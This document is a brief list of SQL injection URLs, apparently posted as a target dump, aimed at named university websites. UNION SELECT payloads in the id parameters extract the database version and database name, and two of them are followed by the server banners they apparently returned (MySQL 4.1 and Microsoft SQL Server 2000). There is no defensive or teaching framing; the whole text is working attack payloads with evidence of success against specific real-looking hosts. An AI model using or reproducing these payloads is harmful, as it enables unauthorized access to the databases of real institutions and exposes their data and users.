http://www.choice s.edu/resources/detail.php?id=-26+union+select+1,unhex(hex(version())),3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,27,28--

4.1.14-log

http://www.fis k.edu/page.asp?id=158+and+1=-1+union+select+1,@@version--

Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: )

http://www.cese.utulsa.edu/content.jsp?id=-17+union+select+1,database(),3--